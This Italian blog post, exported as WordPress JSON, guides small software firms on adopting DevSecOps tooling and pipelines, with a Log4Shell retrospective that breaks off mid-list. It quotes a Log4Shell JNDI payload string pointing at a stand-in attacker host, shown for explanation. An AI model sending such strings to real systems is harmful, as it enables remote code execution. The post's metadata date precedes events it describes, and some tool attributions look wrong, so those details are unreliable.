{"id":1645,"date":"2021-12-08T10:46:00","date_gmt":"2021-12-08T09:46:00","guid":{"rendered":"https:\/\/brentasoft.com\/blog\/devsecops-shift-left-pmi-2021\/"},"modified":"2021-12-08T10:46:00","modified_gmt":"2021-12-08T09:46:00","slug":"devsecops-shift-left-pmi-2021","status":"publish","type":"post","link":"https:\/\/brentasoft.com\/blog\/devsecops-shift-left-pmi-2021\/","title":{"rendered":"DevSecOps 2021: shift left security per PMI software"},"content":{"rendered":"

Quando il 9 dicembre 2021<\/strong> Chen Zhaojun di Alibaba Cloud Security pubblica i dettagli di CVE-2021-44228<\/strong>, il pianeta software cambia in 48 ore. Log4Shell<\/strong> \u2013 una vulnerabilit\u00e0 RCE remote, non autenticata, in una libreria di logging Java usata letteralmente ovunque (Minecraft, AWS, iCloud, Steam, migliaia di gestionali italiani) \u2013 costringe ogni CTO, dal Fortune 500 alla PMI con 12 sviluppatori, a porsi la stessa domanda: quanti dei pacchetti che usiamo nei nostri prodotti contengono gi\u00e0 una bomba latente?<\/em> La risposta onesta, nel 99% dei casi, \u00e8 che non lo sappiamo<\/strong>.<\/p>\n

Log4Shell non \u00e8 un evento isolato. Arriva dopo dodici mesi che hanno ridefinito la security software: l’attacco a SolarWinds<\/strong> (disclosure dicembre 2020, malware Sunburst iniettato nella pipeline di build di Orion), il ransomware REvil su Kaseya VSA<\/strong> di luglio 2021 (1.500 PMI compromesse via MSP), l’esfiltrazione di codice sorgente Microsoft, l’attacco a Codecov, le backdoor in pacchetti npm e PyPI. Il pattern \u00e8 chiaro: gli attaccanti non bucano pi\u00f9 il perimetro, bucano la supply chain del software<\/strong>. E il software di una PMI italiana, anche piccola, \u00e8 spesso costruito con il 70-90% di codice open source che nessuno ha mai realmente ispezionato.<\/p>\n

La risposta che il mercato sta consolidando ha un nome: DevSecOps<\/strong>. Non un tool, non un team, ma un cambio di paradigma che sposta la security a sinistra<\/em> nella pipeline \u2013 dentro l’IDE dello sviluppatore, dentro il pull request, dentro la build \u2013 invece di lasciarla in fondo come penetration test prima del rilascio. In questa guida vediamo come una PMI software house italiana<\/strong> pu\u00f2 adottare DevSecOps senza assumere un team di security a tempo pieno, con quali tool partire, come integrarli nella CI\/CD e quale roadmap a 90 giorni seguire concretamente.<\/p>\n

\n

TL;DR \u2013 DevSecOps per PMI software in 7 punti<\/strong><\/p>\n

    \n
  • Shift Left<\/strong>: ogni vulnerabilit\u00e0 trovata in dev costa 60-100 volte meno<\/strong> della stessa trovata in produzione (dati NIST\/IBM).<\/li>\n
  • I quattro pillar minimi: SAST<\/strong> (codice statico), DAST<\/strong> (runtime), SCA<\/strong> (dipendenze open source), secrets scanning<\/strong>.<\/li>\n
  • Log4Shell CVE-2021-44228<\/strong> ha mostrato che senza SCA continuo si scopre la vulnerabilit\u00e0 dai giornali, non dalla pipeline.<\/li>\n
  • Stack consigliato PMI: Snyk Open Source<\/strong> + Semgrep CE<\/strong> + Trivy<\/strong> + GitGuardian<\/strong> + Dependabot<\/strong>, integrati in GitHub Actions o GitLab CI.<\/li>\n
  • Cultura prima del tooling: security champion<\/strong> in ogni team, no-blame post-mortem, niente “muro” tra dev e security.<\/li>\n
  • Threat modeling con STRIDE<\/strong> o OWASP Threat Dragon<\/strong> nelle fasi di design, non dopo.<\/li>\n
  • Roadmap realistica: 90 giorni<\/strong> per mettere in piedi un programma DevSecOps funzionante in una PMI sotto i 50 sviluppatori.<\/li>\n<\/ul>\n<\/div>\n
    \"Sviluppatore
    Code review con focus security: il primo controllo dovrebbe avvenire in IDE, non in produzione.<\/figcaption><\/figure>\n

    Cosa \u00e8 DevSecOps: definizione operativa e paradigma “shift left”<\/h2>\n

    DevSecOps \u00e8 l’estensione della cultura DevOps al dominio della sicurezza: integrare i controlli di security in ogni fase del ciclo di vita del software<\/strong>, automatizzarli e renderli responsabilit\u00e0 condivisa di tutto il team, non solo di una funzione separata. Il DevSecOps Manifesto<\/em> di Shannon Lietz codifica il principio in una frase: “security as code”<\/em>. Tutto ci\u00f2 che riguarda la sicurezza \u2013 policy, test, controlli di compliance \u2013 deve essere versionato, automatizzato e parte della pipeline come qualunque altro test.<\/p>\n

    Il concetto operativo cardine \u00e8 shift left<\/strong>: spostare la verifica della sicurezza il pi\u00f9 a sinistra possibile sull’asse temporale del SDLC. Storicamente, la security entrava in scena dopo<\/em> il code freeze: il pentester arrivava una settimana prima del go-live, trovava 47 vulnerabilit\u00e0, lo sviluppatore doveva rifare met\u00e0 del modulo gi\u00e0 consegnato. Il NIST SP 800-218<\/strong> (Secure Software Development Framework, SSDF, pubblicato in versione draft a giugno 2021) e prima ancora il Building Security In Maturity Model<\/em> hanno mostrato un dato consistente: una vulnerabilit\u00e0 individuata in fase di design costa in media 10-15\u20ac<\/strong> a fix, la stessa trovata in produzione costa 1.500-10.000\u20ac<\/strong> tra rework, downtime e reputazione.<\/p>\n

    “Shift left” significa concretamente: linter di security nell’IDE<\/strong> (Semgrep, SonarLint), SAST sui pull request<\/strong>, SCA che blocca il merge se una dipendenza ha CVE critici<\/strong>, secrets scanning sui commit<\/strong>, container scanning prima del push del registry<\/strong>. La security smette di essere un evento e diventa un controllo continuo.<\/p>\n

    Differenza con DevOps e ruolo del security team in PMI<\/h2>\n

    DevOps abbatte il muro tra Dev e Ops: stessa pipeline, stesso linguaggio, infrastructure as code. DevSecOps abbatte anche il terzo muro<\/strong>, quello tra security e il resto. In una PMI italiana sotto i 50 sviluppatori il “security team” spesso non esiste come funzione: la security \u00e8 un’attivit\u00e0 part-time del CTO o di un senior backend. Questo \u00e8 un problema solo apparentemente: secondo il report State of DevOps<\/em> 2021 di Puppet, le organizzazioni elite<\/em> per maturit\u00e0 DevSecOps non hanno team di security pi\u00f9 grandi, ma security distribuita<\/strong>.<\/p>\n

    Il modello pratico per una PMI \u00e8 il security champion<\/strong>: una persona per squad (anche una in totale, se la squad \u00e8 una sola) che riceve una formazione di 20-40 ore, possiede gli strumenti, fa code review con focus security, \u00e8 il punto di contatto verso il CTO. Non sostituisce una vera security function quando l’azienda cresce, ma per il primo anno di adozione DevSecOps \u00e8 il modello che funziona<\/strong> nelle realt\u00e0 che ho visto operare.<\/p>\n

    Pillar 1 \u2013 SAST: Static Application Security Testing<\/h2>\n

    Il SAST<\/strong> analizza il codice sorgente senza eseguirlo<\/em>, alla ricerca di pattern noti di vulnerabilit\u00e0: SQL injection, XSS, path traversal, deserializzazione insicura, uso di crittografia debole. Lavora a livello di AST (Abstract Syntax Tree), con regole codificate per linguaggio.<\/p>\n

    I tool dominanti nel mercato sono:<\/p>\n

      \n
    • SonarQube<\/strong> (SonarSource): on-premise, multi-lingua (oltre 25), forte su code quality + security. Edizione Community gratuita.<\/li>\n
    • Veracode<\/strong>: SaaS, focus enterprise, binary analysis oltre a source. Costoso ma maturo.<\/li>\n
    • Checkmarx CxSAST<\/strong>: enterprise, supporto a 35+ linguaggi, motore proprietario.<\/li>\n
    • Snyk Code<\/strong>: SAST relativamente nuovo (lanciato 2020 dopo l’acquisizione di DeepCode), motore semantico veloce, ottimo per pipeline DevOps.<\/li>\n
    • Semgrep<\/strong>: open source, lanciato da r2c, sintassi delle regole simile al pattern matching su AST. Gratuito<\/strong> in self-hosted, scrivibile in 30 minuti per regole custom. Scelta consigliata per partire in PMI<\/strong>.<\/li>\n
    • GitLab SAST<\/strong>: bundle nativo di GitLab (Ultimate per CVE feed completo, Free per il motore base), include analyzer per ~20 linguaggi basati su tool OSS (gosec, brakeman, bandit, eslint plugin security).<\/li>\n<\/ul>\n

      Errore comune: integrare SAST come job che fa fallire la build su qualsiasi<\/em> finding. Risultato: 8.000 issue al primo run, sviluppatori che disabilitano il job dopo due giorni. Approccio corretto<\/strong>: triage iniziale (chiudere come “won’t fix” il rumore), poi differential scan<\/em> \u2013 la pipeline fallisce solo se il PR introduce nuove<\/em> vulnerabilit\u00e0 di severity High o Critical. Tutti i tool seri supportano questa modalit\u00e0.<\/p>\n

      Pillar 2 \u2013 DAST: Dynamic Application Security Testing<\/h2>\n

      Il DAST<\/strong> testa l’applicazione in esecuzione<\/em>, attaccandola dall’esterno come farebbe un pentester automatizzato: spara payload, osserva risposte, deduce vulnerabilit\u00e0. Trova quello che il SAST non pu\u00f2 vedere (configurazione errata, problemi di autenticazione\/sessione, header HTTP mancanti, vulnerabilit\u00e0 che emergono solo a runtime).<\/p>\n

      Riferimenti:<\/p>\n

        \n
      • OWASP ZAP<\/strong> (Zed Attack Proxy): open source, gratuito, ottimo come passive scan<\/em> + active scan<\/em> in pipeline. Headless, scripting via API, integrazione GitHub Actions ufficiale.<\/li>\n
      • Burp Suite Professional<\/strong> (PortSwigger): standard de-facto dei pentester, ottima edizione community gratuita, Pro per scan automatici.<\/li>\n
      • Acunetix<\/strong> e Netsparker<\/strong> (PortSwigger \/ Invicti): commerciali, motore AcuSensor \/ Proof-Based Scanning che riduce drasticamente falsi positivi.<\/li>\n<\/ul>\n

        Per una PMI il setup tipico \u00e8: OWASP ZAP in baseline scan<\/strong> sull’ambiente di staging dopo ogni deploy. Cinque minuti, blocca solo su critici, accumula tutto il resto in dashboard per triage settimanale. Costo zero.<\/p>\n

        Pillar 3 \u2013 SCA: Software Composition Analysis (il pillar che Log4Shell ha reso obbligatorio)<\/h2>\n
        \"Schermata
        Output di un analizzatore statico: ogni alert richiede triage, non remediation cieca.<\/figcaption><\/figure>\n

        L’SCA<\/strong> cataloga le dipendenze open source del progetto (package.json, pom.xml, requirements.txt, go.mod, composer.json, Gemfile.lock) e le incrocia con i database di CVE pubblici (NVD, GitHub Advisory Database, vendor advisories proprietari). Risultato: una Software Bill of Materials<\/strong> (SBOM) navigabile + alert quando una libreria usata sviluppa una CVE.<\/p>\n

        Tool principali (situazione fine 2021):<\/p>\n

          \n
        • Snyk Open Source<\/strong>: leader pratico per integrazione DevOps, SaaS con tier gratuito per progetti pubblici e team piccoli. Fix PR automatici.<\/li>\n
        • WhiteSource<\/strong> (incluso il tool WhiteSource Renovate<\/strong>, ora “Renovate Bot” lato OSS): enterprise, ottimo per policy granulari su licenze + vulnerabilit\u00e0.<\/li>\n
        • Black Duck<\/strong> (Synopsys): storico, forte su analisi licenze e M&A audit.<\/li>\n
        • GitHub Dependabot<\/strong>: nativo GitHub (acquisito 2019), gratis, alert + PR di update automatici. Imprescindibile su GitHub<\/strong>.<\/li>\n
        • Renovate Bot<\/strong>: open source, pi\u00f9 configurabile di Dependabot, gestisce monorepo complessi meglio.<\/li>\n
        • OWASP Dependency-Check<\/strong>: tool CLI gratuito, motore basato su NVD, integrabile in qualunque CI.<\/li>\n<\/ul>\n

          La domanda da farsi dopo Log4Shell: se domani esce CVE-2022-XXXXX su una libreria che usiamo, quanto tempo passa prima che lo sappiamo?<\/em> Senza SCA continuo la risposta \u00e8 “quando lo leggiamo sui giornali”. Con Dependabot + Snyk<\/strong> attivi la risposta \u00e8 “entro 4-24 ore”.<\/p>\n

          Pillar 4 \u2013 Container security<\/h2>\n
          \"Concept
          I container ereditano vulnerabilit\u00e0 dall’immagine base: scannerizzare in pipeline \u00e8 obbligatorio.<\/figcaption><\/figure>\n

          Se la build produce immagini Docker, la security delle dipendenze va estesa al livello immagine<\/strong>: pacchetti di OS dell’immagine base (alpine, debian-slim, ubi), librerie linguaggio installate nei layer, file di configurazione, secrets accidentalmente incollati nel layer.<\/p>\n

          Tool maturi nel 2021:<\/p>\n

            \n
          • Trivy<\/strong> (Aqua Security): open source, gratuito, velocissimo, scansiona immagini OCI + filesystem + repository git. Default consigliato<\/strong> per PMI: una riga in pipeline.<\/li>\n
          • Anchore Engine<\/strong>: open source, motore di policy, SBOM in formato SPDX\/CycloneDX.<\/li>\n
          • Clair<\/strong> (originariamente CoreOS, ora Red Hat): motore di scanning usato anche da Quay.<\/li>\n
          • Aqua Security<\/strong>: piattaforma enterprise (Trivy \u00e8 il loro tool OSS), copre build\/registry\/runtime.<\/li>\n
          • Sysdig Secure<\/strong>: forte sul runtime monitoring (basato su Falco, CNCF) \u2013 rileva comportamenti anomali nei container in esecuzione.<\/li>\n
          • Falco<\/strong>: progetto CNCF (graduated 2018), runtime threat detection per Kubernetes con regole basate su syscalls.<\/li>\n<\/ul>\n

            Pratica minima: trivy image my-app:latest --severity HIGH,CRITICAL --exit-code 1<\/code> in pipeline. La build fallisce se l’immagine ha CVE critici non ancora patchabili.<\/p>\n

            Pillar 5 \u2013 IaC security<\/h2>\n

            Se l’infrastruttura \u00e8 codice (Terraform, CloudFormation, Pulumi, Kubernetes manifest, Helm chart, Dockerfile), anche l’infrastruttura ha vulnerabilit\u00e0 statiche<\/strong>: bucket S3 pubblico, security group che apre la porta 22 a 0.0.0.0\/0, container Kubernetes con privileged: true<\/code>, secrets hardcoded in ConfigMap. Sono problemi che si rilevano leggendo il codice IaC prima<\/em> di applicarlo.<\/p>\n

            Tool consolidati:<\/p>\n

              \n
            • Checkov<\/strong> (Bridgecrew, acquisita da Palo Alto Networks a marzo 2021<\/strong>): open source, Python, supporta Terraform\/CloudFormation\/Kubernetes\/ARM\/Serverless. Standard de-facto IaC scanning<\/strong>.<\/li>\n
            • tfsec<\/strong>: open source, scritto in Go, specifico per Terraform. Pi\u00f9 leggero di Checkov ma meno copertura cross-cloud. Aqua Security ha acquisito il maintainer nel 2021<\/strong>.<\/li>\n
            • Terrascan<\/strong>: open source di Accurics, motore basato su OPA Rego policies.<\/li>\n
            • KICS<\/strong> (Keeping Infrastructure as Code Secure): open source di Checkmarx, supporta 12+ tecnologie IaC.<\/li>\n<\/ul>\n

              Integrazione tipica: pre-commit hook<\/strong> con Checkov per i file .tf<\/code> modificati + job in CI sull’intera codebase. Trenta secondi, zero costo.<\/p>\n

              Pillar 6 \u2013 Secrets scanning<\/h2>\n

              Il 60% delle PMI che ho auditato negli ultimi 18 mesi ha almeno una API key, token o password committata in chiaro<\/strong> nello storico Git. Spesso ancora valida. Il secrets scanning previene esattamente questo: pre-commit<\/em> blocca il commit; server-side<\/em> scansiona lo storico e alerta su detection.<\/p>\n

              Tool:<\/p>\n

                \n
              • GitGuardian<\/strong>: SaaS, tier gratuito generoso (\u226425 utenti), oltre 350 detector per tipi di secret, monitora repo pubblici dove gli sviluppatori potrebbero leakare per errore.<\/li>\n
              • TruffleHog<\/strong>: open source, CLI, scansiona storico Git con detector entropy-based + regex specifiche.<\/li>\n
              • GitHub Secret Scanning<\/strong>: GA da 2020 per partner program (AWS, Stripe, Google, ecc.), esteso ai repo privati nel 2021<\/strong> (GitHub Advanced Security).<\/li>\n
              • Bridgecrew Secrets \/ Checkov<\/strong>: Checkov include un detector secrets nativo.<\/li>\n
              • gitleaks<\/strong>: open source, simile a TruffleHog, motore di pattern matching configurabile.<\/li>\n<\/ul>\n

                Configurazione minima per una PMI: GitGuardian gratuito<\/strong> sull’organizzazione GitHub\/GitLab + pre-commit hook con gitleaks<\/strong> obbligatorio in tutti i repository. Costo: zero. Riduzione di rischio: enorme.<\/p>\n

                CI\/CD integration: dove mettere ogni controllo<\/h2>\n

                Il valore di DevSecOps emerge solo se i controlli sono integrati nella pipeline<\/strong>, non in dashboard parallele che nessuno guarda. Schema operativo che funziona su GitHub Actions<\/strong>, GitLab CI<\/strong>, Jenkins<\/strong>, CircleCI<\/strong>:<\/p>\n

                  \n
                1. Pre-commit hook locale<\/strong>: gitleaks (secrets) + Semgrep –config=auto su file modificati. Blocca il commit se trova issue. Tempo: 2-5 secondi.<\/li>\n
                2. Pull request<\/strong>: SAST differenziale (Semgrep o Snyk Code) + SCA differenziale (Snyk Open Source o Dependabot) + IaC scan (Checkov) sui file modificati. Reporting come PR comment + status check. Blocca merge solo su HIGH\/CRITICAL nuovi<\/strong>.<\/li>\n
                3. Main branch \/ pre-release<\/strong>: SAST full scan + SCA full scan + container scan con Trivy. Risultati in dashboard SonarQube\/Snyk. Non blocca pipeline ma genera ticket Jira\/GitLab Issue per triage.<\/li>\n
                4. Deploy to staging<\/strong>: DAST baseline scan con OWASP ZAP, max 5 min. Tag CRITICAL \u2192 rollback automatico.<\/li>\n
                5. Production runtime<\/strong>: Falco\/Sysdig per behavioral detection + dashboard alerts.<\/li>\n<\/ol>\n

                  Threat modeling: STRIDE, PASTA, OWASP Threat Dragon<\/h2>\n

                  Strumenti automatici trovano vulnerabilit\u00e0 note. Il threat modeling<\/strong> trova vulnerabilit\u00e0 di design \u2013 quelle che nessuno scanner trover\u00e0 mai perch\u00e9 non sono nel codice, sono nell’architettura. Si fa prima<\/em> di scrivere codice, sul whiteboard.<\/p>\n

                  Metodologie consolidate:<\/p>\n

                    \n
                  • STRIDE<\/strong> (Microsoft, anni ’90 ma ancora il framework dominante): per ogni componente del sistema si analizzano sei categorie di minaccia \u2013 Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege.<\/li>\n
                  • PASTA<\/strong> (Process for Attack Simulation and Threat Analysis, formulato da Tony UcedaV\u00e9lez): pi\u00f9 orientato al business, sette stage che partono dagli obiettivi business e arrivano alla simulazione di attacchi.<\/li>\n
                  • OWASP Threat Dragon<\/strong>: tool open source di OWASP per disegnare diagrammi di flusso del dato e annotare le minacce. Punto di partenza pragmatico<\/strong> per una PMI.<\/li>\n<\/ul>\n

                    In pratica: una sessione di threat modeling di 90 minuti<\/strong> all’inizio di ogni epica\/macro-feature. Solo il CTO + tech lead + security champion. Output: lista di minacce prioritizzate + decisioni di design che spesso evitano vulnerabilit\u00e0 che sarebbero costate molto tempo a fixare dopo.<\/p>\n

                    Log4Shell dicembre 2021: lessons learned per PMI<\/h2>\n

                    CVE-2021-44228<\/strong>, disclosure 9 dicembre 2021, CVSS 10.0. Una stringa nei log come ${jndi:ldap:\/\/attacker.com\/a}<\/code> esegue codice arbitrario remoto sul server che fa il logging. Log4j 2 \u00e8 in praticamente ogni applicazione Java enterprise. La patch ufficiale Apache (2.15.0) si scopre insufficiente nel weekend successivo (CVE-2021-45046<\/strong>), poi serve la 2.16.0, poi la 2.17.0 per un’altra issue (CVE-2021-45105<\/strong>), poi la 2.17.1<\/strong>.<\/p>\n

                    Cosa hanno fatto le PMI ben preparate nelle prime 72 ore (osservazione diretta da clienti e community):<\/p>\n